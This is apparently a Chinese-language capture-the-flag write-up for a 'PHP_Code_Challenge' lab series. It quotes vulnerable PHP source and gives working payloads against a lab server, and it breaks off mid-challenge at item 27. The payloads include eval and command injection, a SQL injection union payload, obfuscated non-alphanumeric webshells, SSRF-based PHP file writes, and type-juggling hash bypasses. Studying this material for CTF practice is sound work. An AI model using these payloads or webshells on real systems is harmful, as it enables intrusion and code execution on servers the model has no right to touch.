PHP_Code_Challenge 1~30


1.

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php

error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

bin2hex:把十六進制值轉換為 ASCII 字符。
strrev:反轉字符串。
hex2bin:把十六進制值轉換為 ASCII 字符。

python腳本:
binascii:binascii 模塊包含很多在二進制和二進制表示的各種ASCII碼之間轉換的方法。
binascii.b2a _ hex:返回的二進制數據的十六進制 strrev:反轉字符串。
binascii.a2b _ hex :執行反向操作。

import base64
import binascii
def strrev(string):
    return string[::-1]
a="1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="
b=binascii.a2b_hex(strrev(binascii.b2a_hex(base64.b64decode(a))))
print (b)
c=strrev(binascii.b2a_hex(base64.b64decode(a)))
print c

2.

 <?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
    if(!is_numeric($_GET['time'])){
        echo 'The time must be number.';
    }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
        echo 'This time is too short.';
    }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
        echo 'This time is too long.';
    }else{
        sleep((int)$_GET['time']);
        echo $flag;
    }
    echo '<hr>';
}
highlight_file(__FILE__);

直接寫入結果需要等非常漫長的時間,但是通過科學計數法,我們只需要7秒,因為sleep函數的存在。
payload:http://148.70.62.239:23002/challenge2.php?time=7.776e6

3.

看到提示:challenge3.txt
所以轉到view-source:http://148.70.62.239:23003/challenge3.txt 以下為php代碼:

<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
    header('Location: challenge3.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    echo $flag;
}
else
{
    print "work harder!harder!harder!";
}
?> 

stripos() 函數:查找 "php" 在字符串中第一次出現的位置。
php弱比較:

<?php
var_dump("admin"==0);  //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true 
?> 

==:等值符,當等號兩邊為相同類型時,直接比較值是否相等;當等號兩邊類型不同時,先轉換為相同的類型,再對轉換后的值進行比較,如果比較一個數字和字符串或者涉及到數字內容的字符串,則字符串會被轉換成數值並且比較按照常數值進行比較。
注意:如果該字符串沒有包含'.','e','E'並且其數值值在整形的范圍之內 該字符串被當作int來取值,其他所有情況下都被作為float來取值,字符串的開始部分決定了它的值,如果該字符串以合法的數值開始,則使用該數值,否則其值為0。

strcmp漏洞繞過:
strcmp函數會比較兩個字符串,如果str1>str2返回>0,相等就會返回=0.
但是當我們傳入數組形式,例如test[]=aaaa那么此時函數類型不匹配,但php還會判斷其相等,該漏洞應該在老的php版本里有效。

"arraysearch"與isarray"繞過:is_array:判斷傳入的是不是一個數組,arraysearch(x,$數組):在數組中尋找與指定值(x)相等的值,arraysearch函數 類似於"==",會進行類型的轉換,所以有時候我們傳入數組進行匹配,例如array[]=0,遇到字符串匹配那么此時就回成為admin==0,根據==的判斷規則就會認為匹配了。

繼續這道題:
第一部分id的取值:
這里有個if語句判斷,此時可以看到有一個!號來進行取反,所以我們的id值應該為0或者是null,所以此時我們可以利用上面的弱比較,我們可以這么寫:id=aaa123

第二部分a的取值:
看到if判斷條件是不允許我們使用.的,下面filegetcontents能夠讀取我們傳來的數據,但是我們無法進行文件操作,但是我們利用偽協議,php://input,使用post方式來傳輸數據,根據要求,post :1112 is a nice lab!此時就是:file_get_contents('php://input','r')

第三部分b的取值:
這里就有點搞了,根據他的要求,讓我們既要跟111拼成1114,又讓我們的第一位不能為4,並且長度要大於五。
利用%00截斷,對於%00截斷函數,他能終止substr函數,但是對於strlen則不會。

4.

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);"); 

payload:/challenge4.php?hello=);eval(phpinfo()此處我們利用了在php雙引號會對包裹起來的字符串要進行掃描計算,所以拼接完成后會變成這樣:eval("var_dump();eval(phpinfo());");在雙引號當中已經被小執行了一次,留下了我們的shell。

5.

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
    echo '<p>Login first!</p>';
?>

在這里他既要求我們password不能相等,又要讓我們在sha1下相等,看到兩個等號以及sha1其實就已經可以知道是利用數組來進行繞過,

sha1 — 計算字符串的 sha1 散列值,在sha1()當中當有數組傳入的時候,其返回值為NULL.

拓展:
md5加密相等繞過:

md5(s878926199a)=0e545993274517709034328855841020
md5(s155964671a)=0e342768416822451524974117254469
md5(s214587387a)=0e848240448830537924465865611904
md5(s1091221200a)=0e940624217856561557816327384675
md5(s1885207154a)=0e509367213418206700842008763514
md5(s1502113478a)=0e861580163291561247404381396064

當我們輸入的md5是以0e開頭的時候,我們可以使用以上值進行繞過,因為是關於科學計數法的。

6.

利用bool注入結合sqlmap得到一些基本的信息。
查看代碼:

<?php
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********", "*****", "********");
    mysql_select_db("challenges") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
  if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>

此處我們需要滿足:

if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
    echo "<p>Logged in! Key:************** </p>";}

這段代碼的意思就是,我們要查詢的user他是有pwd的,並且pwd列的值與md5要匹配。
strcasecmp函數判斷結果為:

0 - 如果兩個字符串相等
<0 - 如果 string1 小於 string2
>0 - 如果 string1 大於 string2

我們構造兩個相等的即可。

payload:' union select "21232f297a57a5a743894a0e4a801fc3"#&pass=admin

8.

源代碼:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
    show_source(__FILE__);
    die();
}
function rand_string( $length ) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    $size = strlen( $chars );
    $str = '';
    for( $i = 0; $i < $length; $i++)
   {
       $str .= $chars[ rand( 0, $size - 1 ) ];
   }
    return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
    if (stripos($data, $b) !== false){
        die("WAF!");
    }
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
    echo "<a href='".$full_filename."'>WebShell</a></br>";
    echo "Enjoy your webshell~";
}else{
    echo "Some thing wrong...";
}
?>  

這段代碼讓我們傳遞變量c,但是要繞過黑名單,跟<?php組合在一起生成webshell,一定要執行才行,只是單純傳遞一個繞過的不行。

構造無字母webshell:

<?php
$_=[].[];
$__='';
$_=$_[''];
$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // E
$_=++$_;$_=++$_;
$__=$_.$__; // GE
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // GET
var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);

關於無字母webshell的編寫原理是利用到了異或,即二進制之間的異或轉換。

A對應的二進制值是01000001   //由ascii轉換而來   
?對應的二進制值是00111111
異或的二進制的值是01111110  //對應為~

太騷了:https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

合為一行:$__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");`

上傳好最上方的payload,?_=system&__=cat%20../flag.php利用命令執行得到flag。

利用自增的shell:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
原理:'a'++ => 'b','b'++ => 'c'

9.

源代碼:

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

%0a換行符繞過。 payload:http://148.70.62.239:23009/challenge9.php?ip=12\7.\00.0.\1%0Acat%20flag.php

10.

源代碼:

<?php 
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){ 
    $number = $_POST['answer']; 
    if (noother_says_correct($number)){ 
        echo $flag; 
    }  else { 
        echo "Sorry"; 
    } 
} 

function noother_says_correct($number) 
{ 
    $one = ord('1'); 
    $nine = ord('9'); 
    # Check all the input characters! 
    for ($i = 0; $i < strlen($number); $i++) 
    { 
        # Disallow all the digits! 
        $digit = ord($number{$i}); 
        if ( ($digit >= $one) && ($digit <= $nine) ) 
        { 
            # Aha, digit not allowed! 
            return false; 
        } 
    } 
    # Allow the magic number ... 
    return $number == "3735929054"; 
} 

highlight_file(__FILE__);
?>

payload:answer=0xdeadc0de轉換為16進制。

11.

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

$GLOBALS['var']是外部全局變量的本身,而global $var則是外部$var的同名引用或者說是指針,也就是說global函數產生一個指向函數外部變量的別名變量,而不是真正的函數外部變量,而$GLOBALS[]確確實實調用的是外部的變量,函數內外都會始終保持一致。
https://www.freebuf.com/column/230907.html

12.

直接閉合:?hello=);var_dump(file("flag.php"));//
源代碼:

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

14.

php偽協議:?path=php://filter/convert.base64-encode/resource=flag.php

15.

源代碼:

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = 'upload/'.$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){
    die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

u1s1我剛開始被繞懵了,已經意識到了是寫shell查看flag,而關鍵點就是在filegetcontent這里,並且path變量時我們可以控制的,不要相信用戶的輸入是很重要的,當我們傳入一個path變量:<?php phpinfo();xxxxx前者是會被解析的,顯示頁面為console.log(upload/<?php phpinfo(); update successed!)而在頁面中是沒有的,此時我們再創建一個頁面,將這個頁面包含進去,那么php就會被解析。
payload:path=shell.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d<%3fphp%2bphpinfo()%3b%3f>%26file%3dhttp%3a%2f%2f127.0.0.1%2findex.php

fopen與file _ get_contents:
file _ get _ contents()打開網頁后,返回的變量是一個字符串,可以直接輸出的。
fopen()打開網頁后,返回的變量不是字符串,不能直接輸出的,還需要用到fgets()這個函數來獲取字符串。fgets()函數是從文件指針中讀取一行。文件指針必須是有效的,必須指向由 fopen() 或 fsockopen() 成功打開的文件

16.

源代碼:

<?php  
if (isset($_POST["submit"]))  
{
  if (isset($_POST['hihi']))
  {
    if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)
    {
      exit('<script>alert("have fun:)")</script>');
    }
    elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)
    {
      if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
      {
        if (!is_array($_POST['hihi'])) {
        include("flag.php");
        echo "Congratulations! FLAG is : ".$flag;
        }
        else
      {
        exit('<script>alert("nonono")</script>');
      }
      }
      else
      {
        exit('<script>alert("nonono")</script>');
      }
    }
    else
    {
      exit('<script>alert("sorry")</script>');
    }
  }
}
show_source(__FILE__);
?>

根據代碼可以判斷,需要滿足以下條件:
submit,hihi都存在, hint只能為字母或者字符串。 hihi長度要小於11位,但是值要大於9999999,並且包含#HONG#,並且不能為數組,這事就產生了沖突因為#HONG#是有特殊字符的。。
在查找ereg的時候看到了ereg()是具有截斷漏洞的,所以我們加上截斷就能跳過判斷了。

17.

<?php  
header("Content-type: text/html; charset=utf-8"); 
    include('flag.php'); 
    $smile = 1;  
    if (!isset ($_GET['^_^'])) $smile = 0;  
    if (ereg ('\.', $_GET['^_^'])) $smile = 0;  
    if (ereg ('%', $_GET['^_^'])) $smile = 0;  
    if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;  
    if (ereg ('http', $_GET['^_^']) ) $smile = 0;  
    if (ereg ('https', $_GET['^_^']) ) $smile = 0;  
    if (ereg ('ftp', $_GET['^_^'])) $smile = 0;  
    if (ereg ('telnet', $_GET['^_^'])) $smile = 0;  
    if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;  
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    }  
show_source(__FILE__); 
?>

分析代碼:
一阿航啊if判斷語句我們都不能匹配,否則無法獲得flag。

data傳輸協議:

    data:,<文本數據>  
    data:text/plain,<文本數據>  
    data:text/html,<HTML代碼>  
    data:text/html;base64,<base64編碼的HTML代碼>  
    data:text/css,<CSS代碼>  
    data:text/css;base64,<base64編碼的CSS代碼>  
    data:text/javascript,<Javascript代碼>  
    data:text/javascript;base64,<base64編碼的Javascript代碼>  
    data:image/gif;base64,base64編碼的gif圖片數據  
    data:image/png;base64,base64編碼的png圖片數據  
    data:image/jpeg;base64,base64編碼的jpeg圖片數據  
    data:image/x-icon;base64,base64編碼的icon圖片數據

關於:QUERY_STRING:

http://localhost/aaa/?p=222

$_SERVER['QUERY_STRING'] = "p=222";


$_SERVER['REQUEST_URI'] = "/aaa/?p=222";

$_SERVER['PHP_SELF']  = "/aaa/index.php";  

payload:?^.^=data://text/plain;charset=unicode,(●’◡’●)說實話我沒怎么理解。
payload:148.70.62.239:23017/challenge17.php?^.^=data://text/plain;charset=unicode,(●%27◡%27●) 我覺得可能是因為在傳輸過程中這些字符由於太過特殊而無法傳遞,所以我們先定下編碼

18.

代碼:

<?php
header("Content-type: text/html; charset=utf-8"); 
    if(isset($_POST['login']))
     {
        if(isset($_POST['user']))
        {
            if(@strcmp($_POST['user'],$USER))//USER是被隱藏的復雜用戶名[原題已有注釋]
            {
                die('user錯誤!');
            }
        }
        if (isset($_POST['name']) && isset($_POST['password']))
        {
            if ($_POST['name'] == $_POST['password'] )
            {
                die('賬號密碼不能一致!');
            }
            if (md5($_POST['name']) === md5($_POST['password']))
            {
                if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
                {
                        if($_POST['id']==72)
                            die("flag{xxxxxxxxxxxxx}");
                        else
                            die("ID錯誤2!");
                }
                else
                {
                    die("ID錯誤1!");
                }
            }
            else
                die('賬號密碼錯誤!');
        }
     }
 ?>

好像之前有做過類似的,對於md5的繞過,我們利用弱比較,因為md5無法處理數組。關於72,我們使用科學計數法就可以了。

payload:`POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1

name[]=1&password[]=c&id=7.2e1&login=Check

當然加上一個點也可以:

POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1

name[]=1&password[]=c&id=72.000&login=Check

19.

源碼:

<?php
error_reporting(0);
require_once('flag.php');
if(!isset($_GET['sss'])){
    show_source('challenge19.php');
    die();
}
$sss=$_GET['sss'];
if(strlen($sss)==666){
    if(!preg_match("/[^0-6]/",$sss)){
        eval('$sss='.$sss.';');
        if($sss!=='0x666'){
            if($sss=='0x666'){
                echo $flag;
            }
        }
    }
}
?>

根據判斷條件我們將其轉換為8進制即可,然后利用python打印出剩下的0即可。

20.

 <?php

require_once('flag.php');

if(empty($_GET['user'])) die(show_source(__FILE__));

$user = ['admin', 'xxoo'];

if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
    echo $flag;
}
?>
1

漏洞:var_dump([0 => 0] === [0x100000000 => 0]); 在php版本為5.6及以下時,var_dump([0 => 0] === [0x100000000 => 0]);返回了true,那么根據條件我們想要滿足的第一個條件就可以這樣繞過了,第二個條件也滿足了,因為此時就不存在數組第零項了,第一處也滿足[0=>0]===xxxxx了。

21.

源代碼:

<?php
require('flag.php');

if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))#要有可見字符,長度要大於十二
    {
        echo 'Wrong Format';
        exit;
    }

    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))#按正則匹配至少要分出六組
        break;

        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower');
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
            $c += 1;    #每匹配到一種c加一。
        }

        if ($c < 3) break; #要匹配最少三次
        if ("42" == $password) echo $flag;
        else echo 'Wrong password';
        exit;
    }
}

show_source(__FILE__);
POSIX Description ASCII Unicode Shorthand Java
[:alnum:] Alphanumeric characters [a-zA-Z0-9] [\p{L&}\p{Nd}]   \p{Alnum}
[:alpha:] Alphabetic characters [a-zA-Z] \p{L&}   \p{Alpha}
[:ascii:] ASCII characters [\x00-\x7F] \p{InBasicLatin}   \p{ASCII}
[:blank:] Space and tab [ \t] [\p{Zs}\t] \h \p{Blank}
[:cntrl:] Control characters [\x00-\x1F\x7F] \p{Cc}   \p{Cntrl}
[:digit:] Digits [0-9] \p{Nd} \d \p{Digit}
[:graph:] 可見字符(即空格,控制字符等除外) [\x21-\x7E] [^\p{Z}\p{C}]   \p{Graph}
[:lower:] Lowercase letters [a-z] \p{Ll}   \p{Lower}
[:print:] Visible characters and spaces (i.e. anything except control characters, etc.) [\x20-\x7E] \P{C}   \p{Print}
[:punct:] 標點和符號 [!”#$%&’()*+, -./:;<=>?@ [\]^_`{|}~] [\p{P}\p{S}]   \p{Punct}
[:space:] All whitespace characters, including line breaks [ \t\r\n\v\f] [\p{Z}\t\r\n\v\f] \s \p{Space}
[:upper:] Uppercase letters [A-Z] \p{Lu}   \p{Upper}
[:word:] Word characters (letters, numbers and underscores) [A-Za-z0-9_] [\p{L}\p{N}\p{Pc}] \w  
[:xdigit:] Hexadecimal digits [A-Fa-f0-9] [A-Fa-f0-9]   \p{XDigit}

關於preg _ match與preg _ match _ all:
preg_match 只匹配一次,preg _ match _ all是全文匹配返回完整匹配次數,即所有跟表達式一致的都找出來。
http://148.70.62.239:23021/challenge21.php
payload:password=4200.0000e-2發送如下數據。

22.

 <?php

require('flag.php'); 
if (isset($_GET['src']))
    highlight_file(__FILE__) and die();
if (isset($_GET['md5']))
{
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
        echo "Wonderbubulous! Flag is ".$flag;
    else
        echo "Nah... '",htmlspecialchars($md5),"' not the same as ",md5($md5);
}
?>

要求我們滿足:($md5==md5($md5))這個條件我們要找到一個以0e開頭的字符串,經過md5后他依然為0e開頭,放入我們就可以利用弱比較進行繞過。
0e215962017這個在這道題下就ok //0e215962017 0e291242476940776845150308577824

23.

<?php    
highlight_file(__FILE__);
    @$k1=$_GET['key1'];
    @$k2=$_GET['key2'];
    if(@file_get_contents($k1)==="Hello hacker!"){
        echo 'welcome! Hacker!<br>';
        if(md5($k2)>666666*666666)
        {
            include('flag.php'); 
            @$k3=$_GET['key3'];
            @$k4=$_GET['key4'];
            if(intval($k3)<666)
            {
                if($k3==666)
                {
                    echo 'Come on, flag is coming<br>';
                    if($k4>0)
                    {
                        if(intval($k3+$k4)<666)
                            echo $flag;
                    }
                }
            }else{
                exit();
            }
        }else{
            exit();
        }
    }else{
        exit();
    }
?>

關於key1:因為是file _ get _ content利用data偽協議傳遞參數,http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==
關於key2:找一個全是數字的,或者是只包含有e和數字的,例如1518375。 關於key3:利用科學計數法,直接66.6e1即可,但是看周周的解法是使用精度繞過665.9999999999999999999,還可以使用十六進制繞過0x29a。
關於key4:我嘗試使用00截斷沒用,也嘗試使用././././././././././././././././././././././././././././././././././././././././././././././././繞過但好像不行,看了思路是利用溢出,因為intval判斷范圍有限。

payload:http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==&key2=1518375&key3=66.6e1&key4=999999999999999999999999999999999999999999999999999999

24.

<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
   is_numeric(@$a["bar1"])?die("nope"):NULL;
   if(@$a["bar1"]){
       ($a["bar1"]>2016)?$v1=1:NULL;
   }
   if(is_array(@$a["bar2"])){
       if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
       $pos = array_search("nudt", $a["a2"]);
       $pos===false?die("nope"):NULL;
       foreach($a["bar2"] as $key=>$val){
           $val==="nudt"?die("nope"):NULL;
       }
       $v2=1;
   }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
   if(!strcmp($c[1],$d) && $c[1]!==$d){
       eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
       strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
   }
}
if($v1 && $v2 && $v3){
   include "flag.php";
   echo $flag;
}
?>

根據最后的代碼進行判斷,我們可以發現,我們要滿足,v1,v2,v3都為1,就是要滿足三種條件,依次分析:
v1滿足的條件為:
當我們傳入foo的時候,php會先將其轉換為json格式,然后會將其在轉換為數組,並且判斷數組a的bar1部分其值是否為數字,然后判斷是否大於2016。
解決方法:利用弱比較,即2017a即可。
v2滿足條件:
因為這里是or屬性,必須讓他為假才行,所以這兩個條件要么都是真,要么都是假:
根據推理可得,這段數組必須要有五對,同時他的第零項也要為數組,再看if判斷條件可得:$a["a2"] = “nudt”,並且$a["bar2"]不包含nudt。
解決方法:$a["bar2"] = [[],2,3,4,5],$a["a2"] = “nudt”
v3滿足條件:
獲取cat,dog。滿足if的兩個條件都要為真,所以c[1]長度要小於d且他們不一致,c[0]d里面不能有關於3,1,c的任意一個字符串。
將c[0],d拼接在一起里面的字符串要有htctf2016. 解決方法:使用%00截斷eregi函數,最后$c[0] = "ahtctf2016"

滿足以上三段條件。
最終payload:?foo={“bar1”:”2017e”,”bar2”:[[],2,3,4,5],”a2”:[“nudt”]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00

25.

<?php
    error_reporting(0);
    require __DIR__."/flag.php";

    $url = urldecode($_SERVER['REQUEST_URI']);
    $url_query = parse_url($url, PHP_URL_QUERY);

    $params = explode("&", $url_query);
    foreach($params as $param){

        $idx_equal = strpos($param, "=");
        if($idx_equal === false){
            $key = $param;
            $value = "";
        }else{
            $key = substr($param, 0, $idx_equal);
            $value = substr($param, $idx_equal + 1);
        }

        if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
            die("no hack");
        }
    }

    if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
        die($flag);
    }

    highlight_file(__FILE__);

payload:http://148.70.62.239:23025///?do_you_want_flag=yes

此處利用到了parse_url的解析漏洞:

詳情:parseurl()會把//認為是相對路徑(5.4.7以前),兩個斜杠直接使得后面為host名而之后的/就會被認為是相對路徑。


對於高版本的php的來說 直接/// 三個斜杠就可以直接解決方便 ,因為其導致 嚴重不合格的 URL,parse
url() 返回FALSE 這個是通用的繞過方法

https://blog.csdn.net/q1352483315/article/details/89672426

26.

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $value = $_GET['value'];

    $username = $_GET['username'];
    $password = $_GET['password'];

    for ($i = 0; $i < count($value); ++$i) {
        if ($_GET['username']) unset($username);   #有用戶名會被重置
        if ($value[$i] > 32 && $value[$i] < 127) unset($value);           #不讓我們輸入32到127之間的數字以轉換ASCII碼
        else $username .= chr($value[$i]);             #使用chr函數生成用戶名進行拼接

        if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {                    #此處需要用戶名
            echo 'Hello '.$username.'!', '<br>', PHP_EOL;
            echo $flag, '<hr>';
        }
    }

    highlight_file(__FILE__);

關於這段代碼:它讓我們傳遞三個參數,值,用戶名和密碼,分析以上代碼,我們可以發現解決這道題的關鍵在於如何繞過。
注意:ord() 函數返回字符串的首個字符的 ASCII 值。

<?php
    $i=0;
while ($i <= 100) {
    $test = $i."e1";
    if ($test > 32 && $test < 127)
    {
    }
    else
    {
        if ((ord(chr($test))>32)&&(ord(chr($test))<127))
    {
        echo "test:".$test."   chr:".chr($test)."\n";
    }
    }
     $i = $i+0.1;
}

腳本生成,然后進行拼接繞過,原理我也不清楚,但是我算了一下當大於256時,他又開始進行了一次輪回,我們往上疊加此時256+65我們輸入321,chr(321)轉換完之后是A,跟chr(65)是一樣的,依次下去我們再加256同樣輸出還是A,所以我們可以利用這個特性,配合科學計數法進行繞過。

27.

<?php
    error_reporting(0);
    session_start();

    if(isset($_GET['username'], $_GET['password'])){

        if(isset($_SESSION['hard_login_check'])){
            echo 'Already logged in..';

        }else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
            echo 'Wrong username..';

        }else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
            echo 'Wrong password..';

        }else{
            $_SESSION['hard_login_check'] = true;
